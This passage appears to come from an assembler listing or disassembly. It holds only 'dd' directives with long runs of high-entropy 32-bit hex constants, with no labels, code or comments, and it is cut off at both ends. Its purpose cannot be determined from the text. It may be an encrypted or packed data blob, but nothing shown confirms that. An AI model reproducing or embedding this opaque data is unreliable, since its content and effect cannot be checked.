82126BF4h, 75733873h, 0E521D08Fh, 26E3FC00h, 6D66B240h dd 0EE9EAD47h, 0EEA020EDh, 0F7FBB32Bh, 0C21D916Dh, 92E15047h dd 2673A70Bh, 0FA83E08Ah, 0C45442BAh, 0AE0E2A7Ah, 41901733h dd 7EA437FFh, 4415A65Ah, 0EA0604E6h, 3540D51Bh, 24EA1931h dd 3295AFF8h, 2A6ED720h, 2A8B7417h, 35F71FEBh, 0EB4DD30Bh dd 816AA966h, 63BA3A2Dh, 4013D685h, 0F1E7C942h, 0F2FDB6A2h dd 1ABF5879h, 0B96F269h, 244267B0h, 22EEDD8Ah, 0A431318h dd 591DD627h, 0E655007Ah, 0B5C62D0Ch, 0F4529F4Bh, 10FFF7A8h dd 6632EFh, 432E1DD3h, 0E16D3AD1h, 88D0B70Dh, 915BBB4Bh dd 0C0BAAC4Bh, 72CFE929h, 0A7116A59h, 483CE8EFh, 7F1D2548h dd 899D9F83h, 7B6AC207h, 0DE320CA2h, 584A0440h, 78064A1Dh dd 0FB64C5C5h, 7DB44756h, 2BB3F205h, 3035AED2h, 22B90DF9h dd 311A01DAh, 3B49FC48h, 5C5A78CEh, 0D6492A6Dh, 7E6BA9E4h dd 0E3E3FFC2h, 101F996h, 6D34E2BFh, 32E4C4FAh, 0CA29612Eh dd 684058BAh, 720D86E8h, 0D1CC81C7h, 0A50BB73h, 22F37561h dd 8D7D1C2h, 2F6FBB93h, 0D950C57Ch, 0DFC11014h, 0B2A50BA7h dd 0ED8E1C50h, 0CB953336h, 82D7F53Ch, 6553AD33h, 0FCFEC57h dd 94BD5438h, 69FAB1C8h, 8851478Bh, 5DA15428h, 514B7C87h dd 548D9D3Ch, 66D7F0EDh, 43DF6D4Ch, 6402046Ah, 0B6281273h dd 391D5AE4h, 3F9F1CD3h, 33357094h, 6491F283h, 57C9CF93h dd 0BAAC2B93h, 69B12A9Eh, 21DD83E1h, 5AAB0617h, 4F0B6C1Eh dd 309B549Dh, 5EEC6425h, 0D6CDCD92h, 0A17DF3F5h, 47E5D41Fh dd 6C01908Ch, 63FFEB9h, 7DCB40D6h, 0A74E1A7Eh, 36F8D0BCh dd 55A72B19h, 0F4A0D226h, 46234B9Bh, 82EF21B8h, 0FCE79B9Fh dd 6D5731E8h, 45C6DA50h, 6A487E3h, 8947D1D6h, 0A88083Ch dd 68C8C2D9h, 1A260246h, 668FA888h, 7411468Fh, 4DF5D90Ah dd 933DC12h, 224141A4h, 732F12CDh, 45EEE99h, 1E2395Fh dd 7CA3D24Fh, 0F534CF3Ah, 0FF509765h, 297C2ADBh, 6973887Fh dd 22E39DD8h, 33CA384h, 0D994F94Dh, 0F7A0339Bh, 7CA4B582h dd 0FBA6530Fh, 45D70720h, 3E6FA5E3h, 9E8B8527h, 8933AAFFh dd 5604E684h, 0BCB586Eh, 9C2518B9h, 0D31D012h, 343F8733h dd 0CCA84FCFh, 0FA7B207Bh, 4818CA0Bh, 0FAB94D41h, 0EB20D89h dd 45B458DDh, 0D8512722h, 93ADC467h, 26A3299Bh, 0B322CC49h dd 0E72B6266h, 0B20BB00Ah, 0E7B91785h, 1BECF4DBh, 7C106DF2h dd 779B5ADFh, 6922FD45h, 0EB5D9C9Ah, 0D59CF73Ch, 45FE4156h dd 871704A8h, 400CE2Ch, 2035368h, 0E8613141h, 9ECF454Ch dd 53B26E74h, 0BA9D89C4h, 5645403Dh, 5158EBDDh, 0C06D82C7h dd 0E70797E2h, 90A87CD1h, 0AC030A46h, 39819B6h, 0A1713AD6h dd 2C540939h, 372F8EE9h, 0CCA86BBh, 29DCCDC1h, 0D6ADA22Ah dd 39DD3775h, 75D9A481h, 33270B0Ch, 245E5D4Dh, 0BA4F321Ch dd 292B495Dh, 41183AC9h, 1391BB30h, 91D82BE6h, 1D310A1Ah dd 0B55E9F0h, 9D9CC8Bh, 6EF3BC4h, 0E1834311h, 0EBD6A975h dd 8F055885h, 0FD42096Fh, 3AE685BAh, 14000974h, 0F9750388h dd 7F3653E9h, 5678D7ADh, 1FEE43E1h, 0E3C95A4Eh, 5A5887F6h dd 1A25089Ah, 62BC3828h, 97601256h, 6B9DC0E9h, 87159635h dd 860F2452h, 0E2DD4595h, 0CA2675E9h, 7DD3FDD6h, 0DFB36352h dd 8E2983E3h, 4F298A48h, 0E3A1149Dh, 436F4F24h, 8BB69821h dd 0ED89DE00h, 398DAB52h, 289F3133h, 0E0611EB3h, 4DCC3160h dd 0DFFA37B4h, 3A3E5459h, 2DBD2DD5h, 0C9361539h, 9981F14Ah dd 1F740711h, 3E3D75A5h, 73F65051h, 0D2BB4C22h, 0EC011EE6h dd 0FD578B03h, 2149EA3Fh, 0D29D8746h, 6C2F1Fh, 67984BE8h dd 6900DE0Dh, 4FC43DDFh, 0DC64341Ch, 3B0EF46Eh, 9BC877Dh dd 0E6F52172h, 4465F89Bh, 53D76838h, 164BAE09h, 0FCD49AAAh dd 0DBB56116h, 8973BD58h, 0DD0F31BEh, 0D01721EDh, 88278EA5h dd 57E6EB99h, 5C3661Dh, 0A3C04DFEh, 1E7A872Dh, 0D3E4B809h dd 0A1C790Ch, 0F4FBFC62h, 37B52959h, 90E36E4Dh, 5EB9C50Fh dd 9AA94025h, 0C8519F1Eh, 0CD1C9BE5h, 0B6326D61h, 52082D15h dd 7CCD6409h, 83DD8F8Ah, 3F4443FDh, 1B8E057Ch, 0A0D5637Eh dd 0B0FC90B3h, 0D82EE723h, 568248CDh, 2EA336Eh, 4D3D9F50h dd 724D7771h, 4823E0D0h, 264B945Ah, 508EF1A9h, 0A38A5A10h dd 2A6A7571h, 6C344274h, 0C51D7CE4h, 992FA3D8h, 0C9EA2FBEh dd 8147DDCFh, 0B9D80241h, 0F526B869h, 82DFF6B9h, 0C185974Eh dd 4503744Bh, 41ECA19Ch, 2DF90160h, 1B5BB72Fh, 4902F6BDh dd 0A4A9EBB0h, 1C58FACBh, 0BC1726CDh, 90958976h, 647A9358h dd 0B51BB29Ch, 0C4A1D914h, 0AAF7C263h, 718479FCh, 0C64316D4h dd 70AFCA65h, 0FE0CEA38h, 0DD7FFA3Fh, 0F6806AC2h, 0DA3DE664h dd 1DDBC727h, 0B103D42h, 0BE70CE91h, 65BEB9D9h, 0F663F856h dd 630619D1h, 0AB32A8F9h, 65419716h, 0CA358045h, 0A7B296F3h dd 529F863Dh, 0AA64F1BBh, 0E3F435BDh, 77F29416h, 335F79B7h dd 0CF060614h, 0DA06FAC1h, 4F838938h, 5228CF16h, 793B90BFh dd 0A742B746h, 13BFAD90h, 0E4DAE68Eh, 0B3955C18h, 0EFD1B551h dd 0FF0670B0h, 1BC5E30Dh, 9E1EC55Bh, 275E5977h, 0EC55F9CDh dd 0EE0BEF83h, 98775797h, 0CB6740A8h, 962A6514h, 60065EA3h dd 8578840Dh, 0AF279D16h, 4A028444h, 26E8C247h, 2B447E81h dd 0D54C06F6h, 2C07AB05h, 2EA81020h, 1864AD83h, 0A4D685C4h dd 34011AB2h, 0C7A2E513h, 0C9030F6Bh, 0BC240029h, 52C824D9h dd 8AA01D09h, 0ADC05E46h, 2A5B8BF3h, 6927595Ch, 630B1BFCh dd 0DC922B83h, 0EAFBFA96h, 734513CAh, 1E2A52CAh, 0E165E758h dd 0CDF8358Fh, 9E495A43h, 0AF4DF346h, 0E412586Bh, 1F3E911Dh dd 0EC187CBAh, 2CFA9424h, 7E14EA6Ch, 0C571190Ch, 0A5771B13h dd 90EF440Ch, 1854A08h, 0D36E13C8h, 753DE41Bh, 460CD752h dd 0C8CD95FFh, 7EE121D1h, 263E7FAAh, 0C3A2A0E4h, 0E45253E7h dd 9602C6Fh, 0CF986B2h, 8B42586Bh, 648E3CCBh, 34239B3h dd 0B755EDA9h, 0EF32155Eh dd 0D47CE408h, 2CFF6D33h, 0F7DEA3AEh, 0A10A880Dh, 7AF7FD24h dd 0FCC8CA81h, 850C9439h, 0CB4A7EADh, 8A7CC695h, 2545A5BDh dd 0A732937Ch, 7A9EAE81h, 3CCE3CBAh, 0F66B3BDBh, 5948580Ch dd 0FEB0F743h, 63219E37h, 89F7377Eh, 1B5F6572h, 0B64493C2h dd 119BEC59h, 9905511Fh, 65581437h, 5570E207h, 68104DF4h dd 0DB58FA5h, 81101D4h, 6CAB961Eh, 0A85926F2h, 6B9DA46Fh dd 41F0DB0Ch, 603AA05Ah, 0B6E00C38h, 0FBD7A5E6h, 0BB4AAEFh dd 3CF9F63Ah, 1581349Ah, 48E282B8h, 4223D4D2h, 831AE96Fh dd 37147669h, 5F0B1E13h, 0A9EBC190h, 3BD8910Ah, 539773FBh dd 0C8F037CAh, 51CB669Eh, 76AA5967h, 0B6D7964Ah, 9CAE771Fh dd 0F18DACF2h, 42829FA5h, 0FD10104Bh, 228861B0h, 8BD28F05h dd 9C691B2Ah, 5DEEB24Dh, 0A4132EC0h, 0CB98482Dh, 4A48343Ch dd 8A5B4E7Ah, 8EB6BC7Dh, 0D0CD04FDh, 57F4986h, 49D88076h dd 866A67EEh, 8C5524D3h, 3C1C3D89h, 404465A3h, 5F5C63E8h dd 37F9621Ah, 9567C871h, 67150D74h, 0D31DCBF1h, 2D93E058h dd 470ADE0Eh, 0B696B27Fh, 517F9790h, 586024F4h, 0A2BE6D6Fh dd 0BFE902B3h, 358A29F1h, 0A085771Eh, 3E9FB1E3h, 23403D16h dd 9A318DF1h, 5593ED52h, 1D37A3FCh, 8804089Fh, 0CE105243h dd 0C28D0h, 0E02BDCCFh, 0C8B9CFE7h, 759A6858h, 0C6B7C773h dd 7D91CAC9h, 1C079144h, 0A6328721h, 0E0927AAEh, 0BBD02CE3h dd 37AA68D8h, 3231B9F2h, 0F16C9DF7h, 3E1C61A4h, 81492016h dd 1456E563h, 0D1898D6h, 0FCFA28D4h, 0DEDFBC55h, 145BDE51h dd 9CCF9B56h, 52FDA0E1h, 0FB315CA9h, 0FBBA8D02h, 8A18A3C3h dd 0EB88F96Ch, 2690CE23h, 0AC564EF1h, 6E7F8A63h, 56CCAFC3h dd 4E3CEA1Dh, 20DB8BE1h, 0B9DC1407h, 0E326B22Bh, 7DC4DDB3h dd 1FFF7A42h, 18EB2D74h, 1BE8A743h, 27BF8FC9h, 95A132C1h dd 39793120h, 2C6C535Ch, 37D8599Fh, 2DAD93DFh, 854A3567h dd 0A4DED741h, 74C48B60h, 7F87FA09h, 0CC69C233h, 0DB73A066h dd 748955BFh, 0E775A49Dh, 8A25462Eh, 33106F11h, 0BF0EBD56h dd 3726D228h, 89D0DD25h, 9F4A39AEh, 0BFB3D14h, 9689AD20h dd 605CD181h, 2A0243DCh, 0C3CB978h, 0DB5E97EDh, 0BF6E0086h dd 0AA0E675Fh, 16F30A59h, 4566BC93h, 2F421CC5h, 0F78B48DBh dd 0B0422B18h, 3A0DFC5Eh, 0FE683C6h, 5709EA89h, 450E4908h dd 1B148C7Eh, 0A82DDBABh, 5B51C93Eh, 3451FE54h, 45F26D2Eh dd 0B8897250h, 38B593A5h, 750EE273h, 4D60AD0Eh, 0A3737689h dd 53A49065h, 7F02A4Ah, 0E1459BC1h, 89C2B861h, 8F951B8Ch dd 5F6A728Bh, 0B58318FAh, 3BE9D393h, 0E41F1511h, 2687D8A8h dd 96BB55D1h, 0EFC5204Fh, 0A05708FDh, 4533B835h, 0A75B6B5Fh dd 0FCD5E3B4h, 0A4BFFB4Ah, 0A8D55E66h, 5976199Eh, 71E36596h dd 478DA28Fh, 0CD78A0B3h, 4D803BE4h, 0DAAE2B47h, 0FB864C5Fh dd 60CE11CCh, 177E2BD7h, 90CA85Ah, 331244A4h, 62A1F32Dh dd 94713FC3h, 0B7FEB909h, 7B14498Fh, 22DA2786h, 6A65F8Bh dd 815E9BF0h, 315B1B6Bh, 0FC3DC779h, 0A4D7781Eh, 72C19E28h dd 8EE24D5Dh, 122EED61h, 4C229C0Eh, 12FF197Fh, 0CAF3F844h dd 0CA61F56h, 0D36186BBh, 0B6F10579h, 59E69DF9h, 1A8C1500h dd 0F7694186h, 55E681EFh, 0B471E362h, 2529C620h, 0E2472A87h dd 0F7D58810h, 34CD9204h, 3E586C57h, 8EE4FBE5h, 84C289F5h dd 0FF6C9522h, 36FE7FE9h, 61C494EFh, 9B2BA954h, 8574F1F0h dd 20A4760Ch, 5BAD7E8h, 0CFBBA685h, 2FE2A665h, 21D4EEB4h dd 4C79A539h, 0C003D6BFh, 0C7AEA470h, 7BB102E7h, 0B597496Bh dd 36A84FD4h, 80D9ED34h, 0F736CF55h, 0BF153703h, 39FE5F5h dd 0F409A141h, 0C88A96F8h, 5A17A826h, 3986C0C9h, 9EB0F186h dd 482EF596h, 34C8EDE8h, 0A96D1548h, 2FE153DEh, 0EA68B3h dd 0A90D9859h, 0E2881086h, 80F2C28Fh, 0D0EE5A5h, 0B76E78A5h dd 9570D16Ch, 38626068h, 394ED306h, 56591005h, 17E46016h dd 0CB5571B9h, 0EED72F0Dh, 0A42BA86Eh, 607C5699h, 7D56C2D4h dd 3661A1DEh, 46F6CA31h, 0E61F15D1h, 22EC937Fh, 1DA9DAh dd 43E7375Ch, 0AD70CD2Fh, 0D593A1FCh, 0A75E59A8h, 0BB1A21Dh dd 0A45AA32Fh, 0BBD8A810h, 0D50A367h, 0B41BC529h, 0E24BA145h dd 8B6F230Ah, 376510FDh, 3B753FFDh, 0B8985F8Ch, 0FA3D2C73h dd 0AAED08B5h, 3C65DEF6h, 0C7A0B3B6h, 3E221F8Eh, 0D73131D6h dd 12CD6293h, 7688E49Ch, 336ABD13h, 0FA8A1825h, 1099C242h dd 0B41D674Bh, 71705DB8h, 0C2B7B0DCh, 0A257B97Ch, 0D5B9C2CCh dd 84D94CB0h, 1356B67Fh, 1C3A002Bh, 0BBF7CE1Ch, 3B580CF4h dd 0C802AFC6h, 22F348Ch, 33F49855h, 54DD1F04h, 7DD51933h dd 0AD64D636h, 2E4162D7h, 377C1B4Ch, 1F41EF5Ah, 2462511Fh dd 0BF175689h, 0A092735Ch, 77854CB6h, 11FB8DDAh, 48596B62h dd 0E8BBC411h, 0CEF18CD8h, 0C0B25926h, 5566B6D3h, 0C2167A43h dd 0A0D138CBh, 0D047B211h, 6CF49A98h, 6AF8F02Ah, 0AD63CE83h dd 84238AA8h, 104A8D70h, 4848C0C2h, 7D7E42EAh, 0EA90164Eh dd 9D549861h, 31456515h, 92355241h, 41345C08h, 6040386Dh dd 0F282306Eh, 61D0E0E9h, 2FC1AFh, 43F68708h, 47F5C889h dd 1F1AC760h, 4AF50940h, 416B4906h, 2704E8DBh, 0F7BFC599h dd 0C6970B00h, 8552C93Ch, 82B5BE6Ch, 31B7BC04h, 0FBD3C34h dd 6D581BFFh, 106604E6h, 5A3BFE65h, 8523E184h, 0B026B8A2h dd 0B56FCC9Bh, 0BE47A886h, 8810C2C2h, 0AB354F42h, 0B5D871E4h dd 0BA322794h, 31F91FF5h, 96498BF5h, 0FDD313B9h, 9738B724h dd 0A2869D3Ch, 7A42219Eh, 27A6180Fh, 42286144h, 0E35F98BBh dd 21F915Dh, 6B455E5Fh, 5A9D2480h, 0FBA70968h, 2F99C4C3h dd 415D89D9h, 1F7048B6h, 4F73AA87h, 3F4D6D2Bh, 9E27272Ah dd 0BA7AD934h, 2540CE50h, 208EC87Bh, 74B0E5A3h, 12F6241h dd 7F1E842Ah, 45804EBAh, 2119158Ah, 8F8DD28Ch, 0DAA49023h dd 0C21620ABh, 24B6F2A4h, 0D35035CBh, 0C67A445Ah, 3B7254E3h dd 195ECD2Fh, 0CCC477Ah, 75443889h, 28D6079Fh, 7A1A0CF6h dd 0CCA7A180h, 7559CE69h, 8C5E1A4Ah, 0CB385E98h, 0D02B4354h dd 0AA65CCCDh, 7B281920h, 0C427FF75h, 0DC9DC024h, 1B86D5E2h dd 0C29AE1C2h, 2CB89DC1h, 73C2B4C7h, 1BEF6FA0h, 0DE18A649h dd 4D6D6221h, 87C57B7Dh, 0ADAAFD4Ah, 4528E9E1h, 8D940E3Ch dd 1BD9817Ch, 5985A33Fh, 0A01ABB1Ch, 66E00DBCh, 0C51CC64Ch dd 771AF8F7h, 0CF2E8FB2h, 0FDA0B60Eh, 0AC851573h, 92744FCBh dd 3C71A158h, 0FEC8BF66h, 2EDA43D6h, 81365E13h, 1B304473h dd 998F3D25h, 0C3CDC8A8h, 5881C8ECh, 0AACE096Fh, 0ADA096B2h dd 0AB10470Bh, 619375FAh, 0B8EEB889h, 7789D48Dh, 551F99A5h dd 1B5F6203h, 0E4C3D91Bh, 652C3922h, 71FAB710h, 70F380FFh dd 0F07474C5h, 493CDFFCh, 0E9F64F5Fh, 4347AF91h, 9366F7C6h dd 5C5DFF81h, 0F55D91B3h, 437EADEAh, 4F1E676Eh, 0B33B6E0Fh dd 0ACAA2C63h, 0A6A8BAB9h, 0AA7E053Fh, 0A4D63423h, 0C49E7CB7h dd 0DC5941FAh, 64DA8025h, 19E4AE8Dh, 4067FF22h, 69FAD910h dd 377C2F09h, 0BB0369EEh, 89403336h, 0FA76FC63h, 97F25DDDh dd 0D969861Fh, 8DDDE0C0h, 2C16A49Dh, 6CE1420h, 82D78C6Dh dd 7C1624D8h, 0D8537247h, 3E131846h, 96BB754h, 0CBF190Dh dd 974527BCh, 3EF0A16h, 51502AB8h, 0D04CEE39h, 0B5F7C956h dd 3D81B9D1h, 0C20790C1h dd 20D65E8h, 0DB988259h, 0B89C87D0h, 0CC811B2Ah, 0D223D284h dd 8B3189E2h, 0A54C1A88h, 0B0A272B9h, 0E7C54046h, 0DB47C9E9h dd 65E1501h, 0C02408FCh, 8ACDBC87h, 0A8039EB2h, 253988ACh dd 0BC1FFF12h, 92FB893Bh, 0D29BF9A3h, 0B0ED52Dh, 0E8EE2336h dd 0F0192AA0h, 4567754Bh, 0E20C59B2h, 0FD26F092h, 8F67390Fh dd 52FE4C3Ah, 28F90533h, 0B19ED0AEh, 3776CE29h, 4D1F7261h dd 0B053D968h, 0AF665764h, 9EC45A1Bh, 9EE6DD9Eh, 0FADD89C4h dd 418752FCh, 0C8467C59h, 7D5CE31Ah, 0C304E1FFh, 69198754h dd 0E6056E98h, 266537F4h, 0C3902ECBh, 2D3D3DF2h, 2AF50526h dd 0EF2625FEh, 0F957A144h, 8432ADh, 0A5E214CAh, 0F3BB81A4h dd 465000C1h, 0FD00867Fh, 62D9F035h, 0D8EC9B2Dh, 0FB87E93Ch dd 0D074187Ah, 557B2D07h, 0F9CCA102h, 4A72633Eh, 8C2F5860h dd 0ACC607FDh, 18019F29h, 0E27CD226h, 29D9DD9Fh, 7AB674B6h dd 0A571DE06h, 0A15B56Ch, 600C4A69h, 472A4886h, 3596B980h dd 253A4A8Ch, 42A658E6h, 0E2CEEBA5h, 0F0EDC3E9h, 5E43A4B2h dd 341D8125h, 0BBDBA617h, 0FBA89106h, 0A142112Dh, 45431E24h dd 37D38887h, 0EFDA05EFh, 0F034AC38h, 6C8B816Dh, 0A1229E0Dh dd 5708D5C1h, 0F403AB4Bh, 0ED1562FEh, 52E9B2EDh, 8C5CB37Ah dd 5A23668Eh, 0D2751AFAh, 0D15FD1A4h, 660C4583h, 6CFCA83Dh dd 81445936h, 6DDD0F47h, 5B884479h, 0E1E04A52h, 9DE1AA2Fh dd 0BDDC9C6Dh, 6976CFF9h, 53985524h, 95FB1A29h, 5968A1F3h dd 8606427Eh, 533846CFh, 8A41F114h, 0A02F3ABBh, 1EFB9B01h dd 0E0852F31h, 53096E0Dh, 80FB8A31h, 53E715Ch, 0F8B59BB2h dd 9C1E72EFh, 0D7E9A373h, 9D8CD2F5h, 6CBAC11Ch, 903EB63Ah dd 3348454h, 9DA64D29h, 2609580Fh, 6FD716B4h, 0A8F39EAEh dd 964ED0FBh, 32E282E3h, 14EDE9ECh, 1C63A3D9h, 0E7BDCD44h dd 0D3E04DB3h, 1184A477h, 2B56240Bh, 0C6C92056h, 0E5295DBAh dd 0D7A6B03Ah, 981786C3h, 72CDA22Ch, 0A9961318h, 0C4B7B309h dd 74089FF1h, 7E9219A8h, 837AC6A1h, 1A1A7E29h, 83DA868Eh dd 97C2AAA7h, 253646Eh, 26DDD973h, 0E92E1F68h, 5B9AC34Ah dd 0A0FEFF7Eh, 0F010DCA2h, 0A0194817h, 8FC9EDC5h, 75F6FE92h dd 8E68E7A1h, 0FF3664B1h, 75DBCA61h, 5DD685D4h, 0C9473616h dd 4417AEC2h, 89FFE167h, 85A20A6Ah, 0C0554C96h, 93697456h dd 9F7D91A9h, 0FF733FE7h, 0D74C013Ah, 96CED455h, 560C55E7h dd 0DC21A5CFh, 0A7762301h, 0E4FC42DBh, 8B051C8Ch, 91CCDEFh dd 0A79E4CABh, 0D3CAD94Ah, 5BBC7922h, 0EB663B90h, 5DC988CCh dd 0B267D9B4h, 181A1949h, 0DF250E34h, 0FA6180E0h, 4FDA8630h dd 5A2A8C7Ch, 22EFD730h, 6D634B30h, 7AD86824h, 4F62224Fh dd 331EF674h, 0DC71A11Fh, 4889AE91h, 40B02BDFh, 9A423D69h dd 6E159ACDh, 0D5F0F457h, 0A2A55752h, 9AC02FFh, 385A7545h dd 92EF4A5Eh, 394FDC6Ah, 0CFE75CBBh, 0EF8E0435h, 0F9EA3D51h dd 0EF7F8AAEh, 2454FD82h, 14EAABCCh, 0F1BBDC1Ah, 45D25453h dd 608751F1h, 0AFE1600h, 0A5024B19h, 50E63847h, 5C2BF78Ah dd 1FD98565h, 44BA25FEh, 0E3B50558h, 98B94D91h, 3CE9F19Ch dd 0FDBEB683h, 0E610880Fh, 29BE242Bh, 0CB52043Eh, 0D700D8AAh dd 0B75EBCE9h, 75D47604h, 9B729BDBh, 0F352438h, 1DAA77FEh dd 0B75F9465h, 0F342DD4Eh, 54013BD3h, 286D434Dh, 14839E7Dh dd 0CDEB4606h, 0B55D0B81h, 0D9976505h, 0CF93DA53h, 94C2E245h dd 7768EE20h, 906030E8h, 0CFF84D40h, 0F83F1BFBh, 2A154F38h dd 508989E3h, 9F771690h, 0AC90CF51h, 0B511D324h, 791A153Eh dd 522EC0AEh, 65BC77Fh, 7023B200h, 0DB9BB328h, 0C742B5AFh dd 0A105319Ch, 0F1C93367h, 0AF7C4003h, 747FB42Dh, 19DA5EC5h dd 1AE22467h, 0C647F518h, 0B82F4B99h, 0FA078414h, 0CBFF25E5h dd 0C07F4217h, 0B6FE99E4h, 0A2EADBF8h, 0EB2B93F4h, 880AD7Fh dd 555738ABh, 972660C6h, 0A055BCE9h, 2E9A2004h, 0B1D989DCh dd 0EB4AEE3Eh, 0CE306DCDh, 6628A122h, 0CB0873A8h, 2B5AF3C8h dd 0CD8C47B5h, 0F1DA1DACh, 0FDF2CA2Fh, 9BF0C7C9h, 2CC4AF61h dd 0A1F9F631h, 76764151h, 619BEB90h, 0C877A0A6h, 57F3D29Bh dd 0B79EB03h, 50AB5B15h, 0C9C11926h, 70854964h, 58DF7166h dd 7DB8E6FCh, 599A6155h, 0B2A20B96h, 14F1BD25h, 6EBE7068h dd 2388F7CEh, 0C4F7396Ah, 7D1D2464h, 3B1C3FA9h, 203D3710h dd 0F3CAB2EDh, 3AA722AFh, 6E642C90h, 4124D398h, 70CA436Dh dd 159D5DDh, 43736F23h, 0BA411EE8h, 975458h, 27423A06h dd 24FD346Bh, 0C716F405h, 0D37BCB40h, 0C8FDD74Dh, 7794CDC5h dd 0A1499A14h, 0CFF343D1h, 41E378DAh, 0B4203154h, 4C84FA6Bh dd 53EE48F0h, 2DA15CDAh, 1FB6FAE0h, 0D1F0C9A5h, 10928EFAh dd 6643CF04h, 7B19AC6Ch, 44B50D6h, 0D7C8693h, 26E95EAh dd 3DAC9EA3h, 91C16D08h, 0C360CE57h, 0E78E304Eh, 3641AAE8h dd 4C8E401Bh, 97477672h, 4C056ECCh, 0ACC03583h, 3CDA1425h dd 0DC2ECA09h, 20037FB7h, 79FA33D1h, 41058EADh, 2A0617AAh dd 19EA8A85h, 6C9A14FAh, 0E02A7AE0h, 0DA24186Eh, 42B77959h dd 0B7B01F20h, 8DED3B6Dh, 0ED4C74B0h, 587F246Eh, 62522524h dd 770EE455h, 0FA25E1B8h, 86549662h, 0BF99C89Ah, 0EDDFBD92h dd 1DFB0480h, 6122F24Dh, 37EDF6B9h, 0FFF3C2BBh, 3AD7F39h dd 4914354Eh, 0E222B059h, 0B867E202h, 32CC0E34h, 289910B3h dd 0B4EC60DFh, 70FAB9FAh, 2816A378h, 0BD7842Eh, 80031B6h dd 7F4BD8F9h, 94457921h, 976D29DBh, 7BA54F3Eh, 6FC25734h dd 0FB6089D5h, 0CCAD290Dh, 0AE0BD6CFh, 0B92E35DAh, 7525354h dd 3F28E9D4h, 49C02174h, 486E9F57h, 27BB0CF2h, 0F7E654BCh dd 71B4DDCEh, 0AA92AD06h, 0CBDC15EDh, 8D23529Ch, 2E8BC481h dd 0E3A99E59h, 249A55FDh, 0F5DE6774h, 5E4E8406h, 57A7C3D2h dd 0C4D74019h, 7BD3F5A5h, 0B2AD50E8h, 122A154Fh, 66CC1589h dd 481EB4BDh, 5A37BEDFh, 0B647A92h, 4959F17Ah, 99EE07Ch dd 0DCABC95Fh, 5573ACECh, 2CCB2CE1h, 2F21F136h, 1BEAD65Eh dd 0A5CAD450h, 7ACAB9C9h, 0EE477A8h, 94941AA0h, 0EE57436Fh dd 0B464688Eh, 4E5C1937h, 0D2F33F0Eh, 9A406921h, 2A5B353Dh dd 4478E1C2h, 97379240h, 0CD1A7433h, 0BC9832E8h, 0A5907DA2h dd 74817D6Bh, 37BFAAFAh, 244E200Ch, 0E547B793h, 96870FA3h dd 0F05CEB9Dh, 0BB4377B4h, 41F5C5E4h, 0D285DE80h, 324682AFh dd 0A226E2A1h, 0D62F8746h, 760849ABh, 0E244D853h, 0AFB24136h dd 2FEC0B5Ah, 0C1A42005h, 9CAAD529h, 36756303h, 84C6D609h dd 0ED0DDCF9h, 0D7D5C882h, 0EA950F33h, 1FC596ABh, 0FAC5DF05h dd 335662B0h, 2C9DA387h, 70552578h, 47D63D8Ah, 0D398A648h dd 0F2756823h, 0E4EE8B25h, 727CD479h, 4F560DEh, 0E81CFD09h dd 955AA687h, 6991F449h, 38F086A8h, 4E6B27B7h, 0FE34E48Ah dd 0F97D3750h, 72AF1252h, 0EE0B33E6h, 52F03CC0h, 53F82F5Dh dd 6AE65E80h, 1CEBF577h, 8408EBFDh, 7189AD69h, 5AC59207h dd 2A2D4F7Fh, 3CD446DDh, 62E1064Bh, 9DC2754Dh, 77294A40h dd 0A0EC148h, 367E41A2h, 42F55A67h, 0F5B46A49h, 79D9713Fh dd 432AD640h, 1CEFCD29h, 5223AFEDh, 20E7F25Fh, 5C6314C1h dd 4B255B79h, 0E5AF7FA2h, 55DD73C2h, 0F5CBD69Bh, 1E0A40CFh dd 9479C6C2h, 0DC0BDC39h, 0DB3F5785h, 222A822Ah, 95D7188Eh dd 3D9FEAD7h, 1FA97DEDh dd 0A8300038h, 0E8F4D027h, 6DEAFE0Eh, 4B4286DAh, 9DDCF3DDh dd 6099BEEFh, 0BDC76176h, 0D6DF1D32h, 0ED8400F9h, 46857831h dd 0E52B53BBh, 0D1EAC4FFh, 0D67C38BDh, 4357AB5Ah, 0D7ACA169h dd 0C49E725Eh, 0A75E13BFh, 8CD26B6Dh, 80138E31h, 80A634D5h dd 840B7AE8h, 862D866Eh, 3FC57A0Ch, 0D1EC54EDh, 79C6C213h dd 185BE456h, 2226B0E8h, 0CFDA0CCh, 0F36656D9h, 21594D71h dd 58EDE05Ah, 0E5A039BCh, 0CD6BFAABh, 9A98B968h, 582E06Bh dd 4E8E9767h, 0B8B6BB0Ch, 0D29977E1h, 0A76B68A6h, 935721A2h dd 48454548h, 37A93F60h, 0D2A96F73h, 0E8739035h, 34A5AD4Fh dd 0F26EAA13h, 81174D51h, 0A970DBAFh, 4A9D7036h, 80CB22B7h dd 7951A0A5h, 0B0C99BDEh, 0DD486FCFh, 1481275Ch, 78C1ADEFh dd 0FA3A4EC1h, 0B852D60Fh, 8DB7EFF5h, 7EEEF6D2h, 5BD37A32h dd 0F2FC4841h, 4C088C41h, 0BBA75745h, 0BA38CD14h, 3915CD9Dh dd 65ECD61Fh, 7D2954ABh, 68E7E79Ch, 3D27A7D8h, 7F63195Fh dd 575D6D64h, 67701A76h, 649D961Bh, 2BC39EF2h, 0E704B4B1h dd 0D8F510CAh, 0A0AACCD5h, 8E729E64h, 0F770E999h, 2693FCF3h dd 11FFF9F5h, 0A0CE59Dh, 0DF1B50C4h, 6573CC35h, 54ECAB2Ah dd 2B1A3128h, 0A20CF24Bh, 9E1FADEh, 89468F6Fh, 0B49E30A3h dd 7ADDC36Ch, 0ECDA6C24h, 0B36EC7A8h, 20E8F185h, 0D67CA18Ah dd 0B6497CA9h, 0A61E8E37h, 0A54CADCDh, 0EF093D0Bh, 0F34BABDh dd 6FF1B0D7h, 8C87050Eh, 923E2B9h, 0C6D3C1C1h, 5588A81Eh dd 22670917h, 0DC95EAD9h, 25D05316h, 15F092DDh, 15D3470Dh dd 0A7521A4h, 11B2EFEh, 265F219Fh, 0C0B7658Fh, 0D42E7B57h dd 9B7C84B0h, 577C9F24h, 79C2C3F7h, 88ABE269h, 48C2C0C4h dd 273E01A3h, 0F0876EB4h, 4BE0EEECh, 0B27BCC9Eh, 1BB55BAAh dd 68EFAF74h, 0A0526B86h, 0F464E5CCh, 0BBF0116h, 7E9045D2h dd 3D522941h, 99723AB4h, 0ADABA861h, 0B11050A0h, 71E509DEh dd 39EF909h, 295CD55Eh, 27F02087h, 1B07F81Bh, 40352B36h dd 5A7DB2B4h, 0CFC40B76h, 2F765EBAh, 7383F1DDh, 0D1713B39h dd 6A223562h, 64D51AA0h, 4BB613B3h, 4F77C35Ah, 4911515Fh dd 6ECFF265h, 